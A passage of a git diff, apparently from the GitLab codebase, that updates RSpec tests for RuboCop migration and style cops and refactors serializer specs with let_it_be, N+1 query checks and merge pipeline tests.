remove_column :users, :bio
remove_column :users, :url
@@ -137,8 +127,6 @@ RSpec.describe RuboCop::Cop::Migration::PreventStrings do
it 'registers no offense' do
expect_no_offenses(<<~RUBY)
class Users < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
def up
create_table :users do |t|
t.string :username, null: false
diff --git a/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb b/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb
index b3e66492d83..c65f86d1e13 100644
--- a/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb
+++ b/spec/rubocop/cop/migration/refer_to_index_by_name_spec.rb
@@ -15,8 +15,6 @@ RSpec.describe RuboCop::Cop::Migration::ReferToIndexByName do
it 'registers an offense' do
expect_offense(<<~RUBY, msg: 'migration methods that refer to existing indexes must do so by name')
class TestReferToIndexByName < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
INDEX_NAME = 'my_test_name'
disable_ddl_transaction!
@@ -63,8 +61,6 @@ RSpec.describe RuboCop::Cop::Migration::ReferToIndexByName do
it 'registers no offenses' do
expect_no_offenses(<<~RUBY)
class TestReferToIndexByName < ActiveRecord::Migration[6.0]
- DOWNTIME = false
-
disable_ddl_transaction!
def up
diff --git a/spec/rubocop/cop/migration/timestamps_spec.rb b/spec/rubocop/cop/migration/timestamps_spec.rb
index 91bb5c1b05b..2f99a3ff35b 100644
--- a/spec/rubocop/cop/migration/timestamps_spec.rb
+++ b/spec/rubocop/cop/migration/timestamps_spec.rb
@@ -9,8 +9,6 @@ RSpec.describe RuboCop::Cop::Migration::Timestamps do
let(:migration_with_timestamps) do
%q(
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -25,8 +23,6 @@ RSpec.describe RuboCop::Cop::Migration::Timestamps do
let(:migration_without_timestamps) do
%q(
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -40,8 +36,6 @@ RSpec.describe RuboCop::Cop::Migration::Timestamps do
let(:migration_with_timestamps_with_timezone) do
%q(
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
@@ -61,8 +55,6 @@ RSpec.describe RuboCop::Cop::Migration::Timestamps do
it 'registers an offense when the "timestamps" method is used' do
expect_offense(<<~RUBY)
class Users < ActiveRecord::Migration[4.2]
- DOWNTIME = false
-
def change
create_table :users do |t|
t.string :username, null: false
diff --git a/spec/rubocop/cop/rspec/env_assignment_spec.rb b/spec/rubocop/cop/rspec/env_assignment_spec.rb
index da6bb2fa2fb..0fd09eeae11 100644
--- a/spec/rubocop/cop/rspec/env_assignment_spec.rb
+++ b/spec/rubocop/cop/rspec/env_assignment_spec.rb
@@ -5,8 +5,8 @@ require 'fast_spec_helper'
require_relative '../../../../rubocop/cop/rspec/env_assignment'
RSpec.describe RuboCop::Cop::RSpec::EnvAssignment do
- offense_call_single_quotes_key = %(ENV['FOO'] = 'bar').freeze
- offense_call_double_quotes_key = %(ENV["FOO"] = 'bar').freeze
+ offense_call_single_quotes_key = %(ENV['FOO'] = 'bar')
+ offense_call_double_quotes_key = %(ENV["FOO"] = 'bar')
let(:source_file) { 'spec/foo_spec.rb' }
diff --git a/spec/rubocop/cop/style/regexp_literal_mixed_preserve_spec.rb b/spec/rubocop/cop/style/regexp_literal_mixed_preserve_spec.rb
new file mode 100644
index 00000000000..384a834a512
--- /dev/null
+++ b/spec/rubocop/cop/style/regexp_literal_mixed_preserve_spec.rb
@@ -0,0 +1,131 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require_relative '../../../../rubocop/cop/style/regexp_literal_mixed_preserve'
+
+# This spec contains only relevant examples.
+#
+# See also https://github.com/rubocop/rubocop/pull/9688
+RSpec.describe RuboCop::Cop::Style::RegexpLiteralMixedPreserve, :config do
+ let(:config) do
+ supported_styles = { 'SupportedStyles' => %w[slashes percent_r mixed mixed_preserve] }
+ RuboCop::Config.new('Style/PercentLiteralDelimiters' =>
+ percent_literal_delimiters_config,
+ 'Style/RegexpLiteralMixedPreserve' =>
+ cop_config.merge(supported_styles))
+ end
+
+ let(:percent_literal_delimiters_config) { { 'PreferredDelimiters' => { '%r' => '{}' } } }
+
+ context 'when EnforcedStyle is set to mixed_preserve' do
+ let(:cop_config) { { 'EnforcedStyle' => 'mixed_preserve' } }
+
+ describe 'a single-line `//` regex without slashes' do
+ it 'is accepted' do
+ expect_no_offenses('foo = /a/')
+ end
+ end
+
+ describe 'a single-line `//` regex with slashes' do
+ it 'registers an offense and corrects' do
+ expect_offense(<<~'RUBY')
+ foo = /home\//
+ ^^^^^^^^ Use `%r` around regular expression.
+ RUBY
+
+ expect_correction(<<~'RUBY')
+ foo = %r{home/}
+ RUBY
+ end
+
+ describe 'when configured to allow inner slashes' do
+ before do
+ cop_config['AllowInnerSlashes'] = true
+ end
+
+ it 'is accepted' do
+ expect_no_offenses('foo = /home\\//')
+ end
+ end
+ end
+
+ describe 'a multi-line `//` regex without slashes' do
+ it 'is accepted' do
+ expect_no_offenses(<<~'RUBY')
+ foo = /
+ foo
+ bar
+ /x
+ RUBY
+ end
+ end
+
+ describe 'a multi-line `//` regex with slashes' do
+ it 'registers an offense and corrects' do
+ expect_offense(<<~'RUBY')
+ foo = /
+ ^ Use `%r` around regular expression.
+ https?:\/\/
+ example\.com
+ /x
+ RUBY
+
+ expect_correction(<<~'RUBY')
+ foo = %r{
+ https?://
+ example\.com
+ }x
+ RUBY
+ end
+ end
+
+ describe 'a single-line %r regex without slashes' do
+ it 'is accepted' do
+ expect_no_offenses(<<~RUBY)
+ foo = %r{a}
+ RUBY
+ end
+ end
+
+ describe 'a single-line %r regex with slashes' do
+ it 'is accepted' do
+ expect_no_offenses('foo = %r{home/}')
+ end
+
+ describe 'when configured to allow inner slashes' do
+ before do
+ cop_config['AllowInnerSlashes'] = true
+ end
+
+ it 'is accepted' do
+ expect_no_offenses(<<~RUBY)
+ foo = %r{home/}
+ RUBY
+ end
+ end
+ end
+
+ describe 'a multi-line %r regex without slashes' do
+ it 'is accepted' do
+ expect_no_offenses(<<~RUBY)
+ foo = %r{
+ foo
+ bar
+ }x
+ RUBY
+ end
+ end
+
+ describe 'a multi-line %r regex with slashes' do
+ it 'is accepted' do
+ expect_no_offenses(<<~RUBY)
+ foo = %r{
+ https?://
+ example\.com
+ }x
+ RUBY
+ end
+ end
+ end
+end
diff --git a/spec/rubocop/cop/user_admin_spec.rb b/spec/rubocop/cop/user_admin_spec.rb
new file mode 100644
index 00000000000..3bf458348f3
--- /dev/null
+++ b/spec/rubocop/cop/user_admin_spec.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require 'fast_spec_helper'
+
+require 'rubocop'
+require_relative '../../../rubocop/cop/user_admin'
+
+RSpec.describe RuboCop::Cop::UserAdmin do
+ subject(:cop) { described_class.new }
+
+ it 'flags a method call' do
+ expect_offense(<<~SOURCE)
+ user.admin?
+ ^^^^^^ #{described_class::MSG}
+ SOURCE
+ end
+
+ it 'flags a method call with safe operator' do
+ expect_offense(<<~SOURCE)
+ user&.admin?
+ ^^^^^^ #{described_class::MSG}
+ SOURCE
+ end
+end
diff --git a/spec/serializers/admin/user_entity_spec.rb b/spec/serializers/admin/user_entity_spec.rb
index 42efe0eec54..79b41d90e6a 100644
--- a/spec/serializers/admin/user_entity_spec.rb
+++ b/spec/serializers/admin/user_entity_spec.rb
@@ -4,6 +4,7 @@ require "spec_helper"
RSpec.describe Admin::UserEntity do
let_it_be(:user) { build_stubbed(:user) }
+
let(:request) { double('request') }
let(:entity) do
@@ -14,7 +15,7 @@ RSpec.describe Admin::UserEntity do
subject { entity.as_json&.keys }
it 'exposes correct attributes' do
- is_expected.to contain_exactly(
+ is_expected.to include(
:id,
:name,
:created_at,
diff --git a/spec/serializers/admin/user_serializer_spec.rb b/spec/serializers/admin/user_serializer_spec.rb
index 53a9457409c..ed78ea67bd1 100644
--- a/spec/serializers/admin/user_serializer_spec.rb
+++ b/spec/serializers/admin/user_serializer_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Admin::UserSerializer do
context 'when there is a single object provided' do
it 'contains important elements for the admin user table' do
- is_expected.to contain_exactly(
+ is_expected.to include(
:id,
:name,
:created_at,
diff --git a/spec/serializers/build_artifact_entity_spec.rb b/spec/serializers/build_artifact_entity_spec.rb
index 02c172d723f..8835d4d834e 100644
--- a/spec/serializers/build_artifact_entity_spec.rb
+++ b/spec/serializers/build_artifact_entity_spec.rb
@@ -3,11 +3,13 @@
require 'spec_helper'
RSpec.describe BuildArtifactEntity do
- let(:job) { create(:ci_build) }
- let(:artifact) { create(:ci_job_artifact, :codequality, expire_at: 1.hour.from_now, job: job) }
+ let_it_be(:job) { create(:ci_build) }
+ let_it_be(:artifact) { create(:ci_job_artifact, :codequality, expire_at: 1.hour.from_now, job: job) }
+
+ let(:options) { { request: double } }
let(:entity) do
- described_class.new(artifact, request: double)
+ described_class.represent(artifact, options)
end
describe '#as_json' do
@@ -21,15 +23,18 @@ RSpec.describe BuildArtifactEntity do
expect(subject).to include(:expired, :expire_at)
end
- it 'contains paths to the artifacts' do
- expect(subject[:path])
- .to include "jobs/#{job.id}/artifacts/download?file_type=codequality"
+ it 'exposes the artifact download path' do
+ expect(subject[:path]).to include "jobs/#{job.id}/artifacts/download?file_type=codequality"
+ end
+
+ context 'when project is specified in options' do
+ let(:options) { super().merge(project: job.project) }
- expect(subject[:keep_path])
- .to include "jobs/#{job.id}/artifacts/keep"
+ it 'doesnt get a project from the artifact' do
+ expect(artifact).not_to receive(:project)
- expect(subject[:browse_path])
- .to include "jobs/#{job.id}/artifacts/browse"
+ subject
+ end
end
end
end
diff --git a/spec/serializers/ci/dag_pipeline_entity_spec.rb b/spec/serializers/ci/dag_pipeline_entity_spec.rb
index fdc2f5e1a04..31a0dc5c048 100644
--- a/spec/serializers/ci/dag_pipeline_entity_spec.rb
+++ b/spec/serializers/ci/dag_pipeline_entity_spec.rb
@@ -76,8 +76,8 @@ RSpec.describe Ci::DagPipelineEntity do
it 'performs the smallest number of queries', :request_store do
log = ActiveRecord::QueryRecorder.new { subject }
- # stages, project, builds, build_needs, feature_flag
- expect(log.count).to eq 5
+ # stages, project, builds, build_needs
+ expect(log.count).to eq 4
end
it 'contains all the data' do
diff --git a/spec/serializers/ci/group_variable_entity_spec.rb b/spec/serializers/ci/group_variable_entity_spec.rb
index a7e12905924..9b64e263992 100644
--- a/spec/serializers/ci/group_variable_entity_spec.rb
+++ b/spec/serializers/ci/group_variable_entity_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe Ci::GroupVariableEntity do
subject { entity.as_json }
it 'contains required fields' do
- expect(subject).to include(:id, :key, :value, :protected, :variable_type)
+ expect(subject).to include(:id, :key, :value, :protected, :variable_type, :environment_scope)
end
end
end
diff --git a/spec/serializers/ci/lint/result_serializer_spec.rb b/spec/serializers/ci/lint/result_serializer_spec.rb
index 7aa95a574bf..a834ea05e14 100644
--- a/spec/serializers/ci/lint/result_serializer_spec.rb
+++ b/spec/serializers/ci/lint/result_serializer_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Ci::Lint::ResultSerializer, :aggregate_failures do
let_it_be(:project) { create(:project, :repository) }
+
let(:result) do
Gitlab::Ci::Lint
.new(project: project, current_user: project.owner)
diff --git a/spec/serializers/ci/pipeline_entity_spec.rb b/spec/serializers/ci/pipeline_entity_spec.rb
index 6ce3cef5f44..83ea0d649e8 100644
--- a/spec/serializers/ci/pipeline_entity_spec.rb
+++ b/spec/serializers/ci/pipeline_entity_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe Ci::PipelineEntity do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
+
let(:request) { double('request', current_user: user) }
let(:entity) { described_class.represent(pipeline, request: request) }
@@ -165,6 +166,7 @@ RSpec.describe Ci::PipelineEntity do
context 'when pipeline is detached merge request pipeline' do
let_it_be(:merge_request) { create(:merge_request, :with_detached_merge_request_pipeline) }
+
let(:project) { merge_request.target_project }
let(:pipeline) { merge_request.pipelines_for_merge_request.first }
@@ -213,6 +215,7 @@ RSpec.describe Ci::PipelineEntity do
context 'when pipeline is merge request pipeline' do
let_it_be(:merge_request) { create(:merge_request, :with_merge_request_pipeline, merge_sha: 'abc') }
+
let(:project) { merge_request.target_project }
let(:pipeline) { merge_request.pipelines_for_merge_request.first }
diff --git a/spec/serializers/container_repository_entity_spec.rb b/spec/serializers/container_repository_entity_spec.rb
index 43969c63471..9ea00bc79e1 100644
--- a/spec/serializers/container_repository_entity_spec.rb
+++ b/spec/serializers/container_repository_entity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ContainerRepositoryEntity do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
let_it_be(:repository) { create(:container_repository, project: project) }
+
let(:entity) { described_class.new(repository, request: request) }
let(:request) { double('request') }
diff --git a/spec/serializers/container_tag_entity_spec.rb b/spec/serializers/container_tag_entity_spec.rb
index 8e47a6269bc..6d0ee2cffe5 100644
--- a/spec/serializers/container_tag_entity_spec.rb
+++ b/spec/serializers/container_tag_entity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe ContainerTagEntity do
let_it_be(:project) { create(:project) }
let_it_be(:user) { create(:user) }
let_it_be(:repository) { create(:container_repository, name: 'image', project: project) }
+
let(:entity) { described_class.new(tag, request: request) }
let(:request) { double('request') }
let(:tag) { repository.tag('test') }
diff --git a/spec/serializers/deployment_serializer_spec.rb b/spec/serializers/deployment_serializer_spec.rb
index cfd43227b18..55b02b76b4a 100644
--- a/spec/serializers/deployment_serializer_spec.rb
+++ b/spec/serializers/deployment_serializer_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe DeploymentSerializer do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user, email: project.commit.author_email) }
+
let(:resource) { create(:deployment, project: project, sha: project.commit.id) }
let(:serializer) { described_class.new(request) }
diff --git a/spec/serializers/diff_file_entity_spec.rb b/spec/serializers/diff_file_entity_spec.rb
index 1b8456e5c49..c15c9324f94 100644
--- a/spec/serializers/diff_file_entity_spec.rb
+++ b/spec/serializers/diff_file_entity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe DiffFileEntity do
include RepoHelpers
let_it_be(:project) { create(:project, :repository) }
+
let(:repository) { project.repository }
let(:commit) { project.commit(sample_commit.id) }
let(:diff_refs) { commit.diff_refs }
@@ -22,6 +23,7 @@ RSpec.describe DiffFileEntity do
context 'when there is a merge request' do
let_it_be(:merge_request) { create(:merge_request, source_project: project, target_project: project) }
+
let(:user) { create(:user) }
let(:code_navigation_path) { Gitlab::CodeNavigationPath.new(project, project.commit.sha) }
let(:request) { EntityRequest.new(project: project, current_user: user) }
@@ -49,6 +51,14 @@ RSpec.describe DiffFileEntity do
expect(subject).to include(:load_collapsed_diff_url)
end
+
+ context 'when diff_view is unknown' do
+ let(:options) { { diff_view: :unknown } }
+
+ it 'hides highlighted_diff_lines and parallel_diff_lines' do
+ is_expected.not_to include(:highlighted_diff_lines, :parallel_diff_lines)
+ end
+ end
end
describe '#parallel_diff_lines' do
diff --git a/spec/serializers/environment_serializer_spec.rb b/spec/serializers/environment_serializer_spec.rb
index 1eba9ae4e5e..985e18f27a0 100644
--- a/spec/serializers/environment_serializer_spec.rb
+++ b/spec/serializers/environment_serializer_spec.rb
@@ -3,8 +3,10 @@
require 'spec_helper'
RSpec.describe EnvironmentSerializer do
- let(:user) { create(:user) }
- let(:project) { create(:project) }
+ include CreateEnvironmentsHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project, reload: true) { create(:project, :repository) }
let(:json) do
described_class
@@ -12,43 +14,18 @@ RSpec.describe EnvironmentSerializer do
.represent(resource)
end
- before do
+ before_all do
project.add_developer(user)
end
- context 'when there is a single object provided' do
- let(:project) { create(:project, :repository) }
- let(:deployable) { create(:ci_build) }
- let(:deployment) do
- create(:deployment, :success,
- deployable: deployable,
- user: user,
- project: project,
- sha: project.commit.id)
- end
-
- let(:resource) { deployment.environment }
-
- before do
- create(:ci_build, :manual, name: 'manual1', pipeline: deployable.pipeline)
- end
-
- it 'contains important elements of environment' do
- expect(json)
- .to include(:name, :external_url, :environment_path, :last_deployment)
- end
+ it_behaves_like 'avoid N+1 on environments serialization'
- it 'contains relevant information about last deployment' do
- last_deployment = json.fetch(:last_deployment)
+ context 'when there is a collection of objects provided' do
+ let(:resource) { project.environments }
- expect(last_deployment)
- .to include(:ref, :user, :commit, :deployable, :manual_actions)
+ before_all do
+ create_list(:environment, 2, project: project)
end
- end
-
- context 'when there is a collection of objects provided' do
- let(:project) { create(:project) }
- let(:resource) { create_list(:environment, 2) }
it 'contains important elements of environment' do
expect(json.first)
@@ -207,4 +184,11 @@ RSpec.describe EnvironmentSerializer do
end
end
end
+
+ def create_environment_with_associations(project)
+ create(:environment, project: project).tap do |environment|
+ create(:deployment, :success, environment: environment, project: project)
+ create(:deployment, :running, environment: environment, project: project)
+ end
+ end
end
diff --git a/spec/serializers/evidences/evidence_entity_spec.rb b/spec/serializers/evidences/evidence_entity_spec.rb
index 8ec0422fea2..2962b58c1b7 100644
--- a/spec/serializers/evidences/evidence_entity_spec.rb
+++ b/spec/serializers/evidences/evidence_entity_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Evidences::EvidenceEntity do
let_it_be(:project) { create(:project) }
+
let(:release) { create(:release, project: project) }
let(:evidence) { build(:evidence, release: release) }
let(:schema_file) { 'evidences/evidence' }
diff --git a/spec/serializers/fork_namespace_entity_spec.rb b/spec/serializers/fork_namespace_entity_spec.rb
index 7740ed77540..5e9918a89ff 100644
--- a/spec/serializers/fork_namespace_entity_spec.rb
+++ b/spec/serializers/fork_namespace_entity_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe ForkNamespaceEntity do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:namespace) { create(:group, :with_avatar, description: 'test') }
+
let(:memberships) do
user.members.index_by(&:source_id)
end
diff --git a/spec/serializers/group_link/group_group_link_entity_spec.rb b/spec/serializers/group_link/group_group_link_entity_spec.rb
index 15bcbbcb1d6..2821c433784 100644
--- a/spec/serializers/group_link/group_group_link_entity_spec.rb
+++ b/spec/serializers/group_link/group_group_link_entity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe GroupLink::GroupGroupLinkEntity do
include_context 'group_group_link'
let_it_be(:current_user) { create(:user) }
+
let(:entity) { described_class.new(group_group_link) }
before do
diff --git a/spec/serializers/group_link/project_group_link_entity_spec.rb b/spec/serializers/group_link/project_group_link_entity_spec.rb
index 0bb3d06933b..e7e42d79b5e 100644
--- a/spec/serializers/group_link/project_group_link_entity_spec.rb
+++ b/spec/serializers/group_link/project_group_link_entity_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe GroupLink::ProjectGroupLinkEntity do
let_it_be(:current_user) { create(:user) }
let_it_be(:project_group_link) { create(:project_group_link) }
+
let(:entity) { described_class.new(project_group_link) }
before do
diff --git a/spec/serializers/issue_board_entity_spec.rb b/spec/serializers/issue_board_entity_spec.rb
index e60a063b9eb..138b8174d81 100644
--- a/spec/serializers/issue_board_entity_spec.rb
+++ b/spec/serializers/issue_board_entity_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe IssueBoardEntity do
let_it_be(:user) { create(:user) }
let_it_be(:milestone) { create(:milestone, project: project) }
let_it_be(:label) { create(:label, project: project, title: 'Test Label') }
+
let(:request) { double('request', current_user: user) }
subject { described_class.new(resource, request: request).as_json }
diff --git a/spec/serializers/member_entity_spec.rb b/spec/serializers/member_entity_spec.rb
index 883cb511abc..dc7aa4611f2 100644
--- a/spec/serializers/member_entity_spec.rb
+++ b/spec/serializers/member_entity_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe MemberEntity do
let_it_be(:current_user) { create(:user) }
+
let(:entity) { described_class.new(member, { current_user: current_user, group: group, source: source }) }
let(:entity_hash) { entity.as_json }
diff --git a/spec/serializers/member_serializer_spec.rb b/spec/serializers/member_serializer_spec.rb
index af209c0191f..f7415214e95 100644
--- a/spec/serializers/member_serializer_spec.rb
+++ b/spec/serializers/member_serializer_spec.rb
@@ -7,28 +7,77 @@ RSpec.describe MemberSerializer do
let_it_be(:current_user) { create(:user) }
- subject { described_class.new.represent(members, { current_user: current_user, group: group, source: source }) }
+ subject(:representation) do
+ described_class.new.represent(members, { current_user: current_user, group: group, source: source }).to_json
+ end
shared_examples 'members.json' do
- it 'matches json schema' do
- expect(subject.to_json).to match_schema('members')
- end
+ it { is_expected.to match_schema('members') }
end
context 'group member' do
- let(:group) { create(:group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:members) { present_members(create_list(:group_member, 1, group: group)) }
+
let(:source) { group }
- let(:members) { present_members(create_list(:group_member, 1, group: group)) }
it_behaves_like 'members.json'
+
+ it 'handles last group owner assignment' do
+ group_member = members.last
+
+ expect { representation }.to change(group_member, :last_owner)
+ .from(nil).to(true)
+ .and change(group_member, :last_blocked_owner).from(nil).to(false)
+ end
+
+ context "with LastGroupOwnerAssigner query improvements" do
+ it "avoids N+1 database queries for last group owner assignment in MembersPresenter" do
+ group_member = create(:group_member, group: group)
+ control_count = ActiveRecord::QueryRecorder.new { member_last_owner_with_preload([group_member]) }.count
+ group_members = create_list(:group_member, 3, group: group)
+
+ expect { member_last_owner_with_preload(group_members) }.not_to exceed_query_limit(control_count)
+ end
+
+ it "avoids N+1 database queries for last blocked owner assignment in MembersPresenter" do
+ group_member = create(:group_member, group: group)
+ control_count = ActiveRecord::QueryRecorder.new { member_last_blocked_owner_with_preload([group_member]) }.count
+ group_members = create_list(:group_member, 3, group: group)
+
+ expect { member_last_blocked_owner_with_preload(group_members) }.not_to exceed_query_limit(control_count)
+ end
+
+ def member_last_owner_with_preload(members)
+ assigner_with_preload(members)
+ members.map { |m| group.member_last_owner?(m) }
+ end
+
+ def member_last_blocked_owner_with_preload(members)
+ assigner_with_preload(members)
+ members.map { |m| group.member_last_blocked_owner?(m) }
+ end
+
+ def assigner_with_preload(members)
+ MembersPreloader.new(members).preload_all
+ Members::LastGroupOwnerAssigner.new(group, members).execute
+ end
+ end
end
context 'project member' do
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:members) { present_members(create_list(:project_member, 1, project: project)) }
+
let(:source) { project }
let(:group) { project.group }
- let(:members) { present_members(create_list(:project_member, 1, project: project)) }
it_behaves_like 'members.json'
+
+ it 'does not invoke group owner assignment' do
+ expect(Members::LastGroupOwnerAssigner).not_to receive(:new)
+
+ representation
+ end
end
end
diff --git a/spec/serializers/member_user_entity_spec.rb b/spec/serializers/member_user_entity_spec.rb
index 1c000c06bb6..b505571cbf2 100644
--- a/spec/serializers/member_user_entity_spec.rb
+++ b/spec/serializers/member_user_entity_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe MemberUserEntity do
let_it_be(:user) { create(:user) }
let_it_be(:emoji) { 'slight_smile' }
let_it_be(:user_status) { create(:user_status, user: user, emoji: emoji) }
+
let(:entity) { described_class.new(user) }
let(:entity_hash) { entity.as_json }
diff --git a/spec/serializers/merge_request_diff_entity_spec.rb b/spec/serializers/merge_request_diff_entity_spec.rb
index 542ef6cb3c3..a3b356505b8 100644
--- a/spec/serializers/merge_request_diff_entity_spec.rb
+++ b/spec/serializers/merge_request_diff_entity_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe MergeRequestDiffEntity do
let_it_be(:project) { create(:project, :repository) }
+
let(:request) { EntityRequest.new(project: project) }
let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
let(:merge_request_diffs) { merge_request.merge_request_diffs }
diff --git a/spec/serializers/merge_request_poll_cached_widget_entity_spec.rb b/spec/serializers/merge_request_poll_cached_widget_entity_spec.rb
index 8c72430ff5c..5845a868e53 100644
--- a/spec/serializers/merge_request_poll_cached_widget_entity_spec.rb
+++ b/spec/serializers/merge_request_poll_cached_widget_entity_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe MergeRequestPollCachedWidgetEntity do
let_it_be(:project, refind: true) { create :project, :repository }
let_it_be(:resource, refind: true) { create(:merge_request, source_project: project, target_project: project) }
let_it_be(:user) { create(:user) }
+
let(:pipeline) { create(:ci_empty_pipeline, project: project) }
let(:request) { double('request', current_user: user, project: project) }
@@ -248,14 +249,6 @@ RSpec.describe MergeRequestPollCachedWidgetEntity do
expect(subject[:pipeline]).to eq(pipeline_payload)
end
-
- context 'when merge_request_cached_pipeline_serializer is disabled' do
- it 'does not return pipeline' do
- stub_feature_flags(merge_request_cached_pipeline_serializer: false)
-
- expect(subject[:pipeline]).to be_nil
- end
- end
end
context 'when user does not have access to pipelines' do
@@ -276,4 +269,83 @@ RSpec.describe MergeRequestPollCachedWidgetEntity do
end
end
end
+
+ describe 'merge_pipeline' do
+ it 'returns nil' do
+ expect(subject[:merge_pipeline]).to be_nil
+ end
+
+ context 'when is merged' do
+ let(:resource) { create(:merged_merge_request, source_project: project, merge_commit_sha: project.commit.id) }
+ let(:pipeline) { create(:ci_empty_pipeline, project: project, ref: resource.target_branch, sha: resource.merge_commit_sha) }
+
+ before do
+ project.add_maintainer(user)
+ end
+
+ it 'returns merge_pipeline' do
+ pipeline.reload
+ pipeline_payload =
+ MergeRequests::PipelineEntity
+ .represent(pipeline, request: request)
+ .as_json
+
+ expect(subject[:merge_pipeline]).to eq(pipeline_payload)
+ end
+
+ context 'when user cannot read pipelines on target project' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'returns nil' do
+ expect(subject[:merge_pipeline]).to be_nil
+ end
+ end
+
+ context 'when merge_request_cached_merge_pipeline_serializer is disabled' do
+ before do
+ stub_feature_flags(merge_request_cached_merge_pipeline_serializer: false)
+ end
+
+ it 'returns nil' do
+ expect(subject[:merge_pipeline]).to be_nil
+ end
+ end
+ end
+ end
+
+ describe 'ci related paths' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:path_field, :method_for_existence_check) do
+ :terraform_reports_path | :has_terraform_reports?
+ :accessibility_report_path | :has_accessibility_reports?
+ :exposed_artifacts_path | :has_exposed_artifacts?
+ :test_reports_path | :has_test_reports?
+ :codequality_reports_path | :has_codequality_reports?
+ end
+
+ with_them do
+ context 'when merge request has reports' do
+ before do
+ allow(resource).to receive(method_for_existence_check).and_return(true)
+ end
+
+ it 'set the path to poll data' do
+ expect(subject[path_field]).to be_present
+ end
+ end
+
+ context 'when merge request has no reports' do
+ before do
+ allow(resource).to receive(method_for_existence_check).and_return(false)
+ end
+
+ it 'does not set reports path' do
+ expect(subject[path_field]).to be_nil
+ end
+ end
+ end
+ end
end
diff --git a/spec/serializers/merge_request_poll_widget_entity_spec.rb b/spec/serializers/merge_request_poll_widget_entity_spec.rb
index 1e5a8915da0..c88555226a9 100644
--- a/spec/serializers/merge_request_poll_widget_entity_spec.rb
+++ b/spec/serializers/merge_request_poll_widget_entity_spec.rb
@@ -6,14 +6,15 @@ RSpec.describe MergeRequestPollWidgetEntity do
include ProjectForksHelper
using RSpec::Parameterized::TableSyntax
- let(:project) { create :project, :repository }
- let(:resource) { create(:merge_request, source_project: project, target_project: project) }
- let(:user) { create(:user) }
+ let_it_be(:project) { create :project, :repository }
+ let_it_be(:resource) { create(:merge_request, source_project: project, target_project: project) }
+ let_it_be(:user) { create(:user) }
let(:request) { double('request', current_user: user, project: project) }
+ let(:options) { {} }
subject do
- described_class.new(resource, request: request).as_json
+ described_class.new(resource, { request: request }.merge(options)).as_json
end
it 'has default_merge_commit_message_with_description' do
@@ -22,20 +23,33 @@ RSpec.describe MergeRequestPollWidgetEntity do
end
describe 'merge_pipeline' do
+ before do
+ stub_feature_flags(merge_request_cached_merge_pipeline_serializer: false)
+ end
+
it 'returns nil' do
expect(subject[:merge_pipeline]).to be_nil
end
context 'when is merged' do
- let(:resource) { create(:merged_merge_request, source_project: project, merge_commit_sha: project.commit.id) }
- let(:pipeline) { create(:ci_empty_pipeline, project: project, ref: resource.target_branch, sha: resource.merge_commit_sha) }
+ let_it_be(:resource) { create(:merged_merge_request, source_project: project, merge_commit_sha: project.commit.id) }
+ let_it_be(:pipeline) { create(:ci_empty_pipeline, project: project, ref: resource.target_branch, sha: resource.merge_commit_sha) }
before do
project.add_maintainer(user)
end
+ context 'when user cannot read pipelines on target project' do
+ before do
+ project.team.truncate
+ end
+
+ it 'returns nil' do
+ expect(subject[:merge_pipeline]).to be_nil
+ end
+ end
+
it 'returns merge_pipeline' do
- pipeline.reload
pipeline_payload =
MergeRequests::PipelineEntity
.represent(pipeline, request: request)
@@ -44,9 +58,9 @@ RSpec.describe MergeRequestPollWidgetEntity do
expect(subject[:merge_pipeline]).to eq(pipeline_payload)
end
- context 'when user cannot read pipelines on target project' do
+ context 'when merge_request_cached_merge_pipeline_serializer is enabled' do
before do
- project.add_guest(user)
+ stub_feature_flags(merge_request_cached_merge_pipeline_serializer: true)
end
it 'returns nil' do
@@ -73,72 +87,6 @@ RSpec.describe MergeRequestPollWidgetEntity do
end
end
- describe 'terraform_reports_path' do
- context 'when merge request has terraform reports' do
- before do
- allow(resource).to receive(:has_terraform_reports?).and_return(true)
- end
-
- it 'set the path to poll data' do
- expect(subject[:terraform_reports_path]).to be_present
- end
- end
-
- context 'when merge request has no terraform reports' do
- before do
- allow(resource).to receive(:has_terraform_reports?).and_return(false)
- end
-
- it 'set the path to poll data' do
- expect(subject[:terraform_reports_path]).to be_nil
- end
- end
- end
-
- describe 'accessibility_report_path' do
